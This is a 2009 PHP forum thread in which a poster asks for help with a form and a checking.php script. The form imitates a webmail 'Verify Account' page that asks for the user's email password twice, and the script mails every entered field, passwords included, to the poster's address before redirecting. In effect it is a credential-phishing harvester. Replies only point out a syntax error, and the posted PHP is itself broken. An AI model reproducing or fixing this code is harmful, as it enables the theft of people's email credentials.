getthisrite Posted February 22, 2009 Share Posted February 22, 2009 I made a form with several input fileds, but i am facing problems with my php file which i made. I made a form with the following fields: <form action="checking.php" method="post"> <input name="name_from" value="Email Verification" type="hidden"> <input name="email_from" value="[email protected]" type="hidden"> <input name="Email ID" value="<?php echo $slogin; ?>" type="hidden"> <input name="send" id="verifyfield" value="" type="hidden"> <input name="cancel" id="cancelfield" value="" type="hidden"> <div id="globalbuttonbartop" class="globalbuttonbar optionbuttons"> <button type="submit" name="verifytop" id="verifytop" value="Verify Account"> Verify Account</button> <button type="button" name="canceltop" id="canceltop" value="Cancel"> Cancel</button> <div id="stateindicator"> <h2>Verify Account</h2> </div> <div class="fieldset lightfill last"> <p><b>An email with a confirmation code was sent to</b>: </p> <h3>Verify your account to continue using My Mail:</h3> <table width="796" border="0" cellpadding="4" cellspacing="0"> <tbody><tr> <td class="label" width="25%">Confirmation Code:</td> <td><input size="5" style="width: 5em;" name="code" value="" type="text"></td> </tr> <tr> <td class="label" width="25%">Email Id Password:</td> <td><input size="15" style="width: 15em;" name="pw" value="" type="password"></td> </tr> <tr> <td class="label" width="25%">Verify Password:</td> <td> <input size="15" style="width: 15em;" name="pw1" value="" type="password"></td> </tr> </tbody></table> </div> <!-- END MAIN APPLICATION CONTENT --> </td> </tr> </tbody></table> <div id="globalbuttonbarbottom" class="globalbuttonbar optionbuttons"> <button type="submit" name="verifybottom" id="verifybottom" value="Verify Account">Verify Account</button> <button type="button" name="cancelbottom" id="cancelbottom" value="Cancel">Cancel</button> </div> </form> ------------------------------------------------------------------------------------------- Here is the php file which i made:: I named it as checking.php <?php $name_from=$_request['name_from']; $email_from=$_request['email_from']; $EmailID=$_request['EmailID']; $.code=$_request['code']; $.mail=$_request['mail']; $.pw=$_request['pw']; $.pw1=$_request['pw1']; mail("[email protected],"Requested Data",$name_from,$email_from,$EmailID,$code,$mail,$pw,$pw1); header( "Location: http://www.mydomain.com/thanks" ); ?> I am getting some error when i am testing it on my domain... Please help....... Link to comment https://forums.phpfreaks.com/topic/146323-help-needed-in-making-a-sedmailphp-file/ Share on other sites More sharing options...
hoopplaya4 Posted February 22, 2009 Share Posted February 22, 2009 What error are you getting? Link to comment https://forums.phpfreaks.com/topic/146323-help-needed-in-making-a-sedmailphp-file/#findComment-768227 Share on other sites More sharing options...
getthisrite Posted February 22, 2009 Author Share Posted February 22, 2009 Parse error: syntax error, unexpected T_STRING in /home/mydomain/public_html/y/checking.php on line 10 Link to comment https://forums.phpfreaks.com/topic/146323-help-needed-in-making-a-sedmailphp-file/#findComment-768234 Share on other sites More sharing options...
jackpf Posted February 22, 2009 Share Posted February 22, 2009 Youve put the comma inside the quotes in the mail() function Link to comment https://forums.phpfreaks.com/topic/146323-help-needed-in-making-a-sedmailphp-file/#findComment-768235 Share on other sites More sharing options...
getthisrite Posted February 22, 2009 Author Share Posted February 22, 2009 ackpf * Enthusiast * * Online Online * Gender: Male * Posts: 67 * * o View Profile o WWW o Email o Personal Message (Online) Re: Help needed in making a sedmail.php file « Reply #3 on: Today at 11:34:03 PM » * Reply with quoteQuote Youve put the comma inside the quotes in the mail() function How it should be then?....do you think everything is correct other than that.... as i am new. i dont know much of it... Thanks and please reply Link to comment https://forums.phpfreaks.com/topic/146323-help-needed-in-making-a-sedmailphp-file/#findComment-768236 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.